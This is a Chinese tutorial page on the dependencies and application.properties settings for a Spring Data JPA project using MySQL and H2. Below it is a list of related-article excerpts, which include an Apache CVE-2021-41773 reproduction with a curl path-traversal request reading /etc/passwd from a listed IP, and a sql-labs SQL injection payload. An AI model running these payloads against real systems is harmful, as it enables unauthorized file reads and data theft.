构建 Spring Data JPA 项目所需的依赖与配置

一、使用 Spring Boot Initializr 添加依赖的步骤(IntelliJ IDEA 中的操作)

  1. 打开 IntelliJ IDEA,选择 New Project > Spring Initializr
  2. 填写项目的 GroupArtifactProject Metadata 等基础信息。
  3. 选择 Maven Project,并选择合适的 Java 版本
  4. Dependencies 选项卡中添加所需的依赖,下面是你需要选择的依赖及其对应分类。

二、如何在 Spring Boot Initializer 中选择依赖

前半部分为该依赖项在 Spring Boot Initializer 的分类,后半部分为依赖名称。

  • Web — Spring Web

    • 描述:Spring Web 模块提供构建 REST API 或 Web 应用的能力,并嵌入 Tomcat 服务器以启动和运行 Web 应用。
  • SQL — Spring Data JPA

    • 描述:Spring Data JPA 是用于简化 JPA 操作的模块,自动为你配置 JPA,并默认使用 Hibernate 作为 JPA 实现,用于对象关系映射和数据库操作。
  • SQL — MySQL Driver

    • 描述:这个依赖引入了 MySQL JDBC 驱动,让 Spring Boot 应用能够与 MySQL 数据库通信。
  • SQL — H2 Database

    • 描述:H2 是轻量级的内存数据库,常用于开发和测试环境。H2 提供了内存模式和持久模式,方便开发者在没有外部数据库的情况下进行快速开发和调试。
  • Developer Tools — Spring Boot DevTools(可选)

    • 描述:DevTools 提供了热加载功能,可以在开发过程中自动重启应用程序,加速开发流程。
  • Spring Boot Starter Test(不用选)

    • 描述:默认包含在 Spring Boot 项目中,用于添加测试支持(如 JUnit 和 Mockito)。 

三、手动添加依赖 

 如果在最初创建项目的时候并未在 Spring Boot Initializer 中添加所需的依赖,则之后可以在项目的pom.xml文件中进行添加以上依赖。 

1. Spring Web Starter   

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId>
</dependency>

2. Spring Data JPA 

<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-jpa</artifactId>
</dependency>

3. MySQL 驱动 

<dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope>
</dependency>

4. H2 数据库 

<dependency><groupId>com.h2database</groupId><artifactId>h2</artifactId><scope>runtime</scope>
</dependency>

四、MySQL 驱动与 H2 数据库的配置说明

以下的配置均在项目的application.properties文件中配置。 

MySQL 数据库连接配置

# MySQL 数据库连接配置
spring.datasource.url=jdbc:mysql://localhost:3306/your_database_name?useSSL=false&serverTimezone=UTC
spring.datasource.username=root
spring.datasource.password=your_password
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver# JPA 和 Hibernate 配置
spring.jpa.hibernate.ddl-auto=update
spring.jpa.show-sql=true
spring.jpa.properties.hibernate.dialect=org.hibernate.dialect.MySQL8Dialect
  • spring.datasource.url:定义 MySQL 数据库的连接 URL。你需要修改 your_database_name 为你的数据库名,并根据你的数据库配置调整主机名和端口号。
  • spring.datasource.usernamespring.datasource.password:用于连接 MySQL 的数据库用户名和密码。
  • spring.jpa.hibernate.ddl-auto=update:表示在应用启动时,自动根据实体类更新数据库表结构。
  • spring.jpa.show-sql=true:设置为 true 会打印 Hibernate 生成的 SQL 语句,便于调试。
  • spring.jpa.properties.hibernate.dialect:定义 Hibernate 使用的 MySQL 方言(MySQL8Dialect),这会优化 Hibernate 与 MySQL 的交互。

H2 数据库连接配置

# H2 数据库连接配置
spring.datasource.url=jdbc:h2:mem:testdb
spring.datasource.driver-class-name=org.h2.Driver
spring.datasource.username=sa
spring.datasource.password=password# JPA 配置
spring.jpa.hibernate.ddl-auto=update
spring.jpa.show-sql=true# H2 控制台配置
spring.h2.console.enabled=true
spring.h2.console.path=/h2-console
  • spring.datasource.url=jdbc:h2:mem:testdb:表示使用 H2 的内存数据库,数据库名为 testdb。当应用程序关闭时,数据将会被清除。
  • spring.h2.console.enabled=true:启用 H2 Web 控制台,允许你通过浏览器访问 H2 数据库,默认路径为 /h2-console
  • 访问 H2 控制台:可以通过 http://localhost:8080/h2-console 访问 Web 控制台。你可以使用上面的 username=sapassword=password 登录。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148647.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

函数模板进阶 - 为什么函数模板不要特化?

本文参考文章2001 年 7 月的 C/C++ Users Journal,第 19 卷第 7 期:Why Not Specialize Function Templates? 大家有兴趣可以看看原文。 文章目录 一、 重载和特化1. 重载2. 特化二、特化和重载的调用优先级1. 第一份代码2. 第二份代码3. 原因三、函数模板特化的书写格式1. …

扩散模型和表示学习(Diffusion Models and Representation Learning)

Diffusion Models专栏文章汇总&#xff1a;入门与实战 前言&#xff1a;扩散模型是各种视觉任务中流行的生成建模方法&#xff0c;引起了人们的广泛关注。它们可以被认为是自监督学习方法的一个独特实例&#xff0c;因为它们独立于标签注释。这篇博客讨论扩散模型与表征学习之间…

《linux系统》基础操作

二、综合应用题(共50分) 随着云计算技术、容器化技术和移动技术的不断发展,Unux服务器已经成为全球市场的主导者,因此具备常用服务器的配置与管理能力很有必要。公司因工作需要,需要建立相应部门的目录,搭建samba服务器和FTP服务器,要求将销售部的资料存放在samba服务器…

Android15之编译Cuttlefish模拟器(二百三十一)

简介&#xff1a; CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布&#xff1a;《Android系统多媒体进阶实战》&#x1f680; 优质专栏&#xff1a; Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a; 多媒体系统工程师系列【…

托盘检测系统源码分享

托盘检测检测系统源码分享 [一条龙教学YOLOV8标注好的数据集一键训练_70全套改进创新点发刊_Web前端展示] 1.研究背景与意义 项目参考AAAI Association for the Advancement of Artificial Intelligence 项目来源AACV Association for the Advancement of Computer Vision …

电脑误删文件回收站清空了怎么找回文件?

在日常工作和生活中&#xff0c;电脑已成为我们不可或缺的工具。然而&#xff0c;随着使用频率的增加&#xff0c;误删文件的情况也时有发生。更为糟糕的是&#xff0c;有时候我们在清空回收站后才意识到误删了重要文件。面对这种情况&#xff0c;很多人可能会感到绝望&#xf…

MatrixOne 助力某电信运营商构建低成本高性能车联网管理系统

客户基本情况 该电信运营商在物联网领域深耕多年&#xff0c;致力于为企业和个人提供全面的物联网解决方案&#xff0c;包括智能连接、设备管理、数据采集与分析等核心服务。凭借其强大的网络覆盖和技术优势&#xff0c;该运营商为各行业提供高效、安全、可靠的物联网服务&…

【算法业务】基于Multi-Armed Bandits的个性化push文案自动优选算法实践

1. 背景介绍 该工作属于多年之前的用户增长算法业务项目。在个性化push中&#xff0c;文案扮演非常重要的角色&#xff0c;是用户与push的商品之间的桥梁&#xff0c;文案是用户最直接能感知的信息。应该说在push产品信息之外&#xff0c;最重要的就是文案&#xff0c;直接能…

【二等奖论文】2024年华为杯研究生数学建模F题成品论文

您的点赞收藏是我继续更新的最大动力&#xff01; 一定要点击如下的卡片&#xff0c;那是获取资料的入口&#xff01; 【全网最全】2024年华为杯研赛F题保奖思路matlab/py代码成品论文等&#xff08;后续会更新完整 点击链接加入群聊【2024华为杯研赛资料汇总】&#xff1a;ht…

BUUCTF-MISC-荷兰宽带数据泄露

下载附件得到一个二进制文件 通过题目猜测这是一段路由器备份日志&#xff0c;可以使用RouterPassView打开 链接: https://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k 下载链接http://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k注意&#xff0c;这个软件会报毒…

二、电脑入门2之常用dos命令

打开dos命令窗口 win R 常用dos命令 dir&#xff1a; 列出当前目录下的所有文件以及目录 cls &#xff1a;清理屏幕 exit&#xff1a; 关闭dos命令窗口 c:(盘字母后带冒号) 切换盘符 del&#xff1a; 删除文件 ipconfig &#xff1a; 查看IP信息 ipconfig/all &#xf…

导入时,文档模板不被下载

问题描述 提示&#xff1a;这里描述项目中遇到的问题&#xff1a; 这是个SSM项目&#xff0c;以前经常遇到这个问题&#xff0c;今天有幸记录下来 [ERROR][o.a.s.r.StreamResult] Can not find a java.io.InputStream with the name [downLoadFile] in the invocation stack…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

uni-icons自定义图标详细步骤及踩坑经历

一、详细步骤 获取图标 1.访问iconfont-阿里巴巴矢量图标库&#xff0c;搜索图标并加入购物车&#xff1a; 2.点击页面右上角购物车图标 &#xff0c;点击添加至项目&#xff0c;如没有项目&#xff0c;需要点击下图第二步的图标新建一个项目目录&#xff0c;如已经有项目则…

Leetcode面试经典150题-39.组合总数进阶:40.组合总和II

本题是扩展题&#xff0c;真实考过&#xff0c;看这个题之前先看一下39题 Leetcode面试经典150题-39.组合总数-CSDN博客 给定一个候选人编号的集合 candidates 和一个目标数 target &#xff0c;找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数…

sql-labs靶场

第一关&#xff08;get传参&#xff0c;单引号闭合&#xff0c;有回显&#xff0c;无过滤&#xff09; ?id-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity) -- 第二关&#xff08;get传参&#xff0c;无闭…

阅读CVPR论文——mPLUG-Owl2:革命性的多模态大语言模型与模态协作

读后感悟&#xff1a; 1&#xff09;实验部分非常丰富&#xff0c;并且论文中的图制作的非常精美&#xff0c;论文开篇的图制作的别出心裁&#xff0c;将几种不同的方法表现出的性能差异不是以普通的表格形式展现&#xff0c;而是制作成了一副环状折线图&#xff0c;论文中其他…

VS Code 技巧

在编程世界里&#xff0c;工具的好坏取决于使用者的水平。Visual Studio Code&#xff08;VS Code&#xff09;就像一把锋利的刀&#xff0c;它功能强大&#xff0c;但需要熟练的技巧才能发挥出色。然而&#xff0c;对于初学者来说&#xff0c;它可能显得有些复杂&#xff0c;因…

BaseCTF2024 web

Web [Week1] HTTP 是什么呀 GET: ?basectf%77%65%31%63%25%30%30%6d%65POST: BaseflgX-Forwarded-For:127.0.0.1Referer: BaseCookie: c00k13i cant eat itUser-Agent: Base有Location跳转, 抓包得到flag: QmFzZUNURntkZGUzZjA0Yy1hMDg5LTQwNGMtOTFjNi01ODZjMzAxMzM3Y2J9Cg…

mysql复合查询 -- 合并查询(union,union all)

目录 合并查询 介绍 表数据 union 使用场景 ​编辑 示例 union all 合并查询 介绍 它不像笛卡尔积那种,将行信息做乘法 合并只是单纯地合在一起求的是两个结果集的并集,并且会自动去掉并集中的重复行 注意,因为是求并集,会将两个结果进行拼接 所以要保证列信息相同 表…